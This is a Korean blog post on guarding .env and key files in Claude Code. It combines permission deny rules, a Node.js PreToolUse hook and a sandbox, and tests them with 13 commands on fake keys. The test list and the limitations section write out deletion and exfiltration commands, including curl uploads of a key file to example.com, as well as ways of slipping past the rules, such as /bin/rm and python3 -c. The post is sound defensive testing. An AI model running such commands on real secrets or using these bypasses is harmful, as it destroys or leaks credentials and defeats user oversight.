hook으로 Claude Code에서 .env나 키 파일을 삭제하지 못하게 하는 방법

이 글을 통해 알 수 있는 것

• AI에게 '이 파일은 지우지 마세요'라고 설정해도, 명령어 작성 방식에 따라 우회할 수 있다는 점
• 반대로, 지워도 되는 파일까지 막아버릴 수 있다는 점
• 이러한 우회를 막는 작은 프로그램(hook)을 만드는 방법. 111줄의 전체 코드를 제공합니다.
• 그럼에도 불구하고 막을 수 없는 조작과 그에 대한 생각법

예상 독자

• Claude Code에게 명령어를 맡겨서, .env나 키 파일이 걱정되는 사람
• '지우지 마라'라는 설정을 작성했지만, 정말 효과가 있을지 불안한 사람

settings.json을 작성해 본 적이 있다면 읽으실 수 있습니다.

검증 환경

2026년 10월 17일에 다음 환경으로 테스트했습니다.

1. 배경 — AI에게 명령을 맡기는 사람이 1년 만에 약 2배로 증가

이 장에서는 왜 지금 이 이야기를 하는지, 세 가지 사실로 보여드립니다.

AI 에이전트는 스스로 명령어를 입력하며 작업을 진행하는 AI입니다.

사용하는 사람은 1년 만에 약 2배

• 2025년: 31%
• 2026년 4월: 59%

이는 직장에서 AI 에이전트를 사용하는 개발자의 비율입니다(Stack Overflow 조사). 2026년은 1,100명에게 실시한 임시 조사이므로 참고용으로 봐주세요.

유출된 키의 수는 늘었지만, 비율은 보합세

2025년에 공개된 GitHub 커밋에서 발견된 비밀 정보(키나 비밀번호)는 약 2,865만 건이었습니다. 전년 대비 34% 증가한 수치입니다(GitGuardian의 2026년 보고서).

다만, 커밋 자체의 수도 43% 증가했습니다(같은 보고서 공식 블로그). 따라서 커밋당 기준으로 보면 거의 보합세라 'AI 때문에 급증했다'고는 말하기 어렵습니다.

삭제되었다는 보고

2025년 7월, Replit의 CEO가 자사 AI가 운영 데이터를 삭제한 것을 X에서 인정했습니다.

Claude Code에서도 .env를 삭제당했다는 보고가 있습니다(issue #65034). 정해진 형태가 아닌 방식으로 '삭제하지 마라' 설정을 우회했다는 보고도 있습니다(issue #92542).

둘 다 사용자들의 보고이며, Anthropic이 원인을 인정한 것은 아닙니다.

다음 장에서는 제가 같은 걱정을 품게 된 배경을 적겠습니다.

2. 어려웠던 점 — 확인 화면을 줄이면 키 파일까지 삭제될 수 있다

이 장에서는 제가 무엇에 어려움을 겪었는지를 순서대로 적습니다.

확인 화면을 수십 번 눌러야 한다

Claude Code는 명령어를 실행하기 전에 '실행해도 되는지'를 사용자에게 묻습니다. 이것이 확인 화면입니다.

작업을 맡기면 이 화면을 수십 번 누르게 됩니다. 누르기 전까지 작업은 멈춘 상태로 있습니다.

그래서 저는 Bash 명령어에 '확인 없이 실행해도 좋다'고 설정했습니다.

막는 사람이 사라진다

그러자 Claude가 키 파일을 삭제하는 명령어나 외부로 보내는 명령어를 입력해도, 막아줄 사람이 없습니다.

제 리포지토리에는 그렇게 되면 곤란한 파일이 두 종류 있습니다.

• .env: 키나 비밀번호를 적은 설정 파일
• secrets/ 안의 키 파일(.p8이나 .pem)

키가 삭제되면, 다시 만들어야 한다

예를 들어 App Store Connect의 키(.p8)는 단 한 번만 다운로드할 수 있습니다(Apple 공식 문서).
삭제되면 키를 새로 만들고, 그 키를 사용하고 있는 모든 곳을 교체해야 합니다.

키가 외부로 나가면, 다른 사람이 사용할 수 있다

키는 가진 사람이라면 누구나 사용할 수 있습니다. 외부로 나가면 타인에게 조작될 위험이 있습니다.

1장에서도 봤듯이, 공개된 GitHub만으로도 1년에 약 2,865만 건의 비밀 정보가 발견되고 있습니다.

그래서, 키 파일에 접근하는 명령어만 막고 싶다

평소의 명령어는 확인 없이 통과시키고 싶습니다. 하지만 키 파일을 삭제하거나, 조작하거나, 외부로 보내는 명령어만은 막고 싶습니다. 이것이 이번 과제입니다.

다음 장에서는 방어가 정말 효과가 있는지 확인할 방법을 정하겠습니다.

3. 시도 — 가짜 키와 13가지 명령어

이 장에서는 가짜 키와 시험해 볼 13가지 명령어를 준비합니다.

가짜 키를 세 개 배치한다

내용물이 dummy

이런 글자만 있는 가짜 키를 만들었습니다.

secrets/fake.p8

.env

.env.example

(삭제해도 되는 파일)

한 번 시도할 때마다 새로 만들었습니다.

13가지 명령어 조합을 5가지 유형에서 선택하기

13가지를 다음 5가지 유형에서 골랐습니다.

유형별로 왜 시도하는지 적습니다.

순순히 삭제하기 (1가지)

rm secrets/fake.p8

먼저, 이게 막히는지 보는 기준입니다.

작성 방식을 바꿔서 삭제하기 (5가지)

같은 작업이라도 작성 방식에 따라 방어를 빠져나갈 수 있기 때문입니다.

/bin/rm secrets/fake.p8

: 위치를 지정해서 쓰기 (What a Bash rule doesn't match 표의 유형)

• cd secrets && rm fake.p8

: 먼저 폴더로 이동하기 (Compound commands) -
cd secrets; rm *

:;으로 구분하여 모아서 삭제하기 -
rm -f ./secrets/../secrets/fake.p8

: 돌아가는 경로(path)로 쓰기 -
timeout 5 rm .env

: 앞에 다른 명령어를 끼우기 (Wrappers 및 issue #92542)

이동・복사・전송하기 (3가지)

삭제하지 않아도, 외부로 가지고 나가지는 못하게 하기 위해서입니다.

mv .env ../x

cp .env ../leak

curl -F file=@secrets/fake.p8 https://example.com

스크립트 안에서 삭제하기 (2가지)

명령어 문자열에, 삭제하는 작업이 직접적으로 나오지 않게 하기 위해서입니다.

bash -c 'rm .env'

:/bin/rm과 같은 공식 표의 유형 -
`python3 -c

deny는 실행시키지 않을 명령어를 settings.json에 작성해 두는 설정입니다.

이번에는 다음과 같은 내용을 설정에 작성했습니다 (측정할 때는 동일한 내용을 다른 파일로 만들어 --settings로 전달했습니다. 3장).

{
"permissions": {
"allow": ["Bash"],
...

• Bash(...)의 6가지: 키 파일을 지우거나 옮기는 명령어와, @파일을 보내는 curl을 막음 - Read(...)의 2가지: 키 파일을 읽지 못하게 함

결과

결과는 세 가지로 나누었습니다.

• 멈춘 경우: 키가 보호됨
• 빠져나간 경우: 가짜 키가 실제로 지워짐. 진짜라면, 2장처럼 다시 만들어야 합니다.
• 너무 많이 막은 경우: 지워도 되는 파일이나 평소 작업까지 막힘. 확인 없이 사용한 의미가 줄어들고, 직접 입력해야 하는 번거로움이 생김

위험한 11가지 중 9가지가 막혔습니다 (제 환경 기준).

멈춘 경우 (9가지)

• 순순히 지우는 경우 1가지
• 작성 방식을 바꿔서 지우는 5가지 중, /bin/rm 이외의 4가지 - 옮기기・복사하기・전송하기 3가지
• bash -c 'rm .env'
  (※)

※ deny 규칙에 해당해서가 아닙니다. 3장의 '측정 방법'에서 사용한 dontAsk (확인이 필요한 명령어를, 확인 요청 없이 거부하는 모드)이 막았습니다.

빠져나간 경우 (2가지)

/bin/rm secrets/fake.p8
python3 -c "import os; os.remove('.env')"

둘 다, 가짜 키는 실제로 지워졌습니다.

너무 많이 막은 경우 (2가지)

• rm .env.example:
  :Bash(rm *.env*)가 이름이 비슷한 파일에도 해당됨 - ls secrets:
  :Read(./secrets/**)가 내용을 보기만 하는 명령어에도 해당됨

왜 빠져나갔는가

deny는 명령어의 문자열을 규칙과 비교합니다.

&&이나 ;로 구분하고, timeout 같은 전제 조건도 제외하고 보기 때문에, cd나 timeout을 사용한 작성 방식은 막혔습니다 (Compound commands・Wrappers).

반면, /bin/rm은 rm으로 시작하는 문자열이 아니기 때문에 규칙에 해당하지 않습니다. 공식 문서에서도 이 규칙은 '안전의 경계가 아니다'라고 적혀 있습니다 (What a Bash rule doesn't match).

python3 -c는 지우는 처리가 따옴표 안의 코드에 있어, 문자열로는 구별할 수 없습니다.

즉, deny만으로는 2가지 경우에서 키가 지워집니다. 작성 방식이 달라도, 목적지 파일로 판단하는 메커니즘이 필요합니다.

다음 장에서는 그것을 hook으로 만듭니다. 너무 많이 막는 것은 deny의 성질이라서, hook으로는 해결되지 않습니다 (8장).

5. hook 추가하기 — 명령어의 '목적지'를 조사하여 막기

이 장에서는 hook의 메커니즘, 생각하는 방식, 코드 순으로 설명합니다.

hook이란

hook은 Claude Code의 정해진 상황에서 자신의 프로그램을 실행시키는 메커니즘입니다.

PreToolUse라는 상황을 사용하면, Claude가 명령어를 치기 직전에 그 전체 내용을 받을 수 있습니다. 현재 위치한 폴더도 함께 전달됩니다 (Common input fields).

프로그램이 종료 코드 2로 끝나면, 명령어는 멈춥니다. 종료 코드는 프로그램이 끝날 때 반환하는 번호입니다 (Exit code 2).

생각하는 방식: 문자열이 아닌 목적지 보기

hook에서는 인수를 현재 위치한 폴더에서 본 절대 경로로 만들고, 키 파일인지 확인합니다. 키 파일로 간주하는 것은 다음 3가지입니다.

• 확장자가
  .p8
.p12
.pem
.key
• 경로 중간에
  secrets 폴더가 있는 경우 - .env와 .env.〇〇
  (.env.example은 제외)

/bin/rm이든 rm이든, 상대방이 같은 키 파일이라면 막힙니다.

.env.example을 제외하는 것은, 여기서는 값을 비운 예시이기 때문입니다. 리포지토리에 넣어 공유하는 파일이라, 지워도 복사해도 키는 새어 나오지 않습니다.

막으면, 예시를 고칠 때마다 작업이 멈춥니다. 이 제외 조건은 나중에 올릴 코드의 ② (인수가 키 파일인지 조사하는 부분) 마지막 줄에 작성합니다.

다음 그림은 하나의 커맨드가 hook, deny, sandbox를 거치는 순서입니다. hook은 deny보다 먼저 작동합니다 (Extend permissions with hooks). 각 상자의 역할은 그림 바로 다음에 설명하겠습니다.

책임 분담

그림의 세 가지 박스가 각각 무엇을 담당하는지입니다.

• 읽기(Reading) → 'deny가 문자열 비교'를 하는 박스. Read 규칙은 Read나 Grep, cat에 한 번에 적용되기 때문입니다 (Read and Edit).
• 삭제/실행/전송(Deleting/Executing/Sending) → 'hook이 목적지를 조사'하는 박스에서 막습니다. hook이 고장 나서 통과된 경우, deny의 박스가 이를 받아 처리합니다 (Exit code output) - 스크립트 내부 → 'sandbox가 OS 측에서 제한'을 하는 박스. 작성 방식이 무수히 많고, hook으로는 추적할 수 없기 때문입니다 (How permissions interact with sandboxing)

settings.json에 hook 등록하기

4장의 ~/.claude/settings.json에 다음의 hooks를 추가합니다. 여기에 작성하면 모든 프로젝트에서 적용됩니다 (Hook locations).

{
"hooks": {
"PreToolUse": [
...

"matcher": "Bash"는 Bash 커맨드일 때만 실행되도록 지정하는 것입니다.

hook 본체 (111줄)

hook을 5가지로 나누어 설명합니다. 이 다섯 가지를 순서대로 연결하여 ~/.claude/hooks/secret-guard-mini.mjs로 저장합니다.

① 사용할 부품과 막을 대상 목록

Node.js의 부품을 불러옵니다. 막고 싶은 커맨드와 키 확장자를 목록으로 만듭니다.

#!/usr/bin/env node
import { readFileSync } from 'node:fs';
import { basename, resolve } from 'node:path';
...

② 인수가 키 파일인지 조사하기

인수를 절대 경로로 만들고, 위 세 가지에 해당하는지 조사합니다. 마지막 줄의 name !== '.env.example'가 예시용 .env.example만 키 취급에서 제외하는 부분입니다.

function isKeyPath(arg, cwd) {
const abs = resolve(cwd, arg.replace(/^~(?=\/|$)/, homedir()));
const name = basename(abs);
...

③ 커맨드를 분리하고 단어로 나누기

&&나 ;에서 끊고, 더 나아가 단어 단위로 나눕니다. sudo나 timeout 같은 전처리는 건너뛰고, /bin/rm은 rm으로 바꿉니다.

function splitSegments(command) {
const segments = [];
let current = '';
...

④ curl로 보낼 파일 추출하기

curl -F file=@…의 @ 뒤와 같은, 외부로 보낼 파일 이름을 추출합니다.

function curlPaths(args) {
const paths = [];
for (let k = 0; k < args.length; k++) {
...

⑤ 도착한 커맨드를 구분마다 확인하기

Claude Code에서 온 정보를 읽습니다. cd가 있으면 현재 위치를 수정하고, 삭제/실행/전송 커맨드의 대상이 키 파일이라면 막습니다.

const input = JSON.parse(readFileSync(0, 'utf8'));
if (input.tool_name !== 'Bash') process.exit(0);
let cwd = input.cwd ?? process.cwd();
...

바로 위의 코드 ⑤의 마지막에 있는 두 개의 console.error(…)가 막을 때 출력하는 문구입니다. hook이 종료 코드 2로 끝나면, 이 문구가 막은 이유로서 Claude에게 전달됩니다 (Exit code 2).

Claude는 이를 바탕으로 사용자에게 이유를 전달할 수 있습니다. 다른 방식으로 다시 시도하지 않도록, 2번째 줄에 다음 조치를 추가했습니다.

등록한 경로를 잘못 입력하면 hook은 작동하지 않습니다. node는 파일이 없으면 종료 코드 1로 종료되며, 0과 2 이외의 코드는 '차단 실패'로 간주되기 때문입니다 (Other exit codes).

명령어는 그대로 실행되고 기록에 '<hook 이름> hook error'라는 알림만 표시됩니다. 지키고 있다고 생각하지만, 실제로는 아무것도 지키지 못하게 됩니다.

설정했다면 다음 방법으로 한 번 시도해 보세요. 실패했을 때 막고 싶다면, 8장 섹션의 "onFailure": "block"을 사용합니다.

hook만 테스트하기

다음 명령어는 /bin/rm secrets/fake.p8 상황의 JSON을 만들고 이를 hook에 흘려보냅니다. jq는 JSON을 구성하는 명령어입니다.

jq -nc --arg c '/bin/rm secrets/fake.p8' \
'{tool_name:"Bash", cwd:"/tmp/demo", tool_input:{command:$c}}'
| node ~/.claude/hooks/secret-guard-mini.mjs; echo "EXIT=$?"

결과입니다. 막은 이유 2줄(코드 ⑤의 마지막 console.error가 출력하는 문구)와, 막았다는 신호인 종료 코드 2가 나왔습니다.

키 파일 (secrets/fake.p8)에 대한 rm을 막았습니다.
필요하다면 본인의 단말기에서 실행해 주세요.
EXIT=2

rm .env.example로 시도하면 아무것도 출력되지 않고 EXIT=0이 됩니다. 마지막으로 Claude Code 상에서도 가짜 키의 rm을 요청하여 막히는지 확인합니다.

hook이 단독으로 작동했으므로, 다음 장에서는 deny와 결합하여 13가지 경우를 테스트하겠습니다.

6. 결합하여 테스트하기 — 11가지 중 10가지가 막힘

이 장에서는 deny만 사용한 결과와 나란히 놓고 무엇이 달라졌는지 살펴봅니다.

다음 표는 3장의 13가지 경우를 한 줄씩 배열하고, deny만 사용했을 때와 hook을 결합했을 때를 비교한 것입니다. 오른쪽 열도 hook을 적용한 상태로 Claude Code에 13가지를 실행하여 측정했습니다 (제 환경). ✅는 막혔고, ❌는 통과했고(키가 사라짐), ⚠️는 과방어입니다.

위험한 11가지 경우(막혀야 하는 것)

샌드박스(sandbox)는 커맨드가 접근할 수 있는 파일을 OS 기능으로 제한하는 메커니즘입니다 (What the sandbox restricts).

python3 -c

와 ...의 두 가지 방식만 남았습니다. 다음 장에서는 사용해보고 알게 된 것들을 정리하겠습니다.

7. 발생한 일 및 배움 — 실제로 2번 막아본 경험을 바탕으로

이 장에서는 평소 사용하는 hook에서 발생했던 일과 배움을 세 가지로 작성합니다.

제가 평소 사용하는 hook(408행)에서는 실제로 커맨드를 두 번 막았습니다.

.env를 cp 하려고 시도했을 때 -
.env를 unlink (파일을 삭제하는 명령어)하려고 시도했을 때

배움은 세 가지입니다.

첫 번째는, 막연한 생각으로 약점을 작성하지 않는 것입니다. deny에서는 cd secrets && rm fake.p8 을 놓칠 거라고 생각했지만, 측정해보니 막혔습니다.

그러니 방어 장치를 마련했다면, 3장의 13가지 경우로 자신의 환경에서도 시험해 보세요.

두 번째는, 문자열 규칙으로는 너무 많이 막으려고 하면 놓치는 것이 늘어난다는 것입니다. 규칙을 넓게 작성하면 비슷한 이름까지 막습니다 (4장의 rm .env.example).
좁게 작성하면, 작성 방식을 조금만 바꿔도 빠져나갈 수 있습니다 (4장의 /bin/rm).

그러니 문자열 규칙에만 의존하지 않고, hook이나 sandbox와 조합합니다.

세 번째는, 막았을 때는 이유를 반환하는 것입니다. 이유는 Claude를 통해 사용자에게 전달됩니다.

그러니 hook을 작성할 때는, 막은 이유와 다음에 어떻게 해야 할지까지 제시합니다 (5장의 코드 ⑤의 마지막 두 줄).

다음 장에서는 여러 겹으로 쌓아도 지킬 수 없는 것을 언급하겠습니다.

8. 약점과 한계 — 스크립트 경로는 통한다. 악의적인 의도를 막는 벽은 아니다

이 장에서는 다섯 가지 약점 각각에 대해 발생한 일과 대처법을 작성합니다.

스크립트 경로를 통한 접근은 deny와 hook 모두 통과시킨다

python3 -c처럼 스크립트 내에서 삭제되면 키는 사라집니다. 막으려면 sandbox를 사용해야 합니다. 초기 설정에서는 작업 폴더에 쓸 수 있으므로, 키 파일을 쓰기 금지 목록에 추가합니다 (What the sandbox restricts 표).

sandbox의 설정과 검증은 길어지므로, 여기서는 공식 설명만 보여드립니다.

이 기사의 hook(111행)에도 놓치는 부분이 있다

5장에서 제시한 111행의 hook이 놓치고 있는 작성 방식의 예시입니다.

sudo -u root rm .env
find . -name '*.p8' -delete
cat .env | curl --data-binary @- …

rm .ENV (대문자. 확장자와 달리 이름은 대소문자를 구분하여 비교하기 때문에)

이런 방식으로는 키가 보호되지 않습니다.

반대로, 키만 사용하는 scp -i deploy.pem …는 너무 많이 막았습니다. 제가 평소 사용하는 408행의 hook(7장)은 이러한 놓치는 부분과 너무 많이 막은 부분을 처리할 수 있지만, rm $(ls secrets)나 cp -r . ../backup은 막지 못합니다.

작성 방식을 추적하는 한 누락은 남기 때문에, 마지막 벽은 sandbox로 합니다.

hook이 고장 나면 통과된다

hook이 도중에 멈추면 커맨드는 그대로 통과됩니다. 시간 초과도 마찬가지입니다 (기본값은 600초). 그동안 키는 deny만으로 보호받게 됩니다.

등록에 `

9. 요약

이 장에서는 수행한 내용과 더 개선할 방법을 요약합니다.

수행한 것: deny에 명령어의 목적지를 확인하는 hook을 추가했습니다. 필요한 것은 settings 파일의 몇 줄과 hook 파일 1개입니다.

좋아진 점: /bin/rm처럼 작성 방식을 바꿔도 키가 사라지지 않게 되었습니다. 위험했던 11가지 경우 중, 막는 경우가 9가지에서 10가지로 늘어났습니다(제 환경 기준).

할 수 있게 되는 것: 확인 화면을 줄인 상태에서도 작업을 맡길 수 있으며, 키 재설정이나 외부 반출을 방지할 수 있습니다.

대신 남는 것: 너무 많이 막은 2가지 경우, 스크립트 경유 등 놓칠 수 있는 부분, hook 관리(키 보관 위치나 확장자가 늘어났을 때, 5장의 코드 목록을 수정하는 번거로움)입니다.

더 개선한다면:

• 자신의 키 보관 위치에 맞춰 5장 코드 ①의 KEY_EXTS (키 확장자 목록)와 ②의 'secrets' (키를 놓는 폴더 이름)를 수정합니다. - 5장의 'hook만 테스트하기'와 3장의 13가지 경우로 자신의 환경에서도 막히는지 테스트해봅니다.
• 스크립트 경유까지 방지하고 싶다면, sandbox를 추가합니다.

참고

공식 문서는 2026-10-17에 확인했습니다.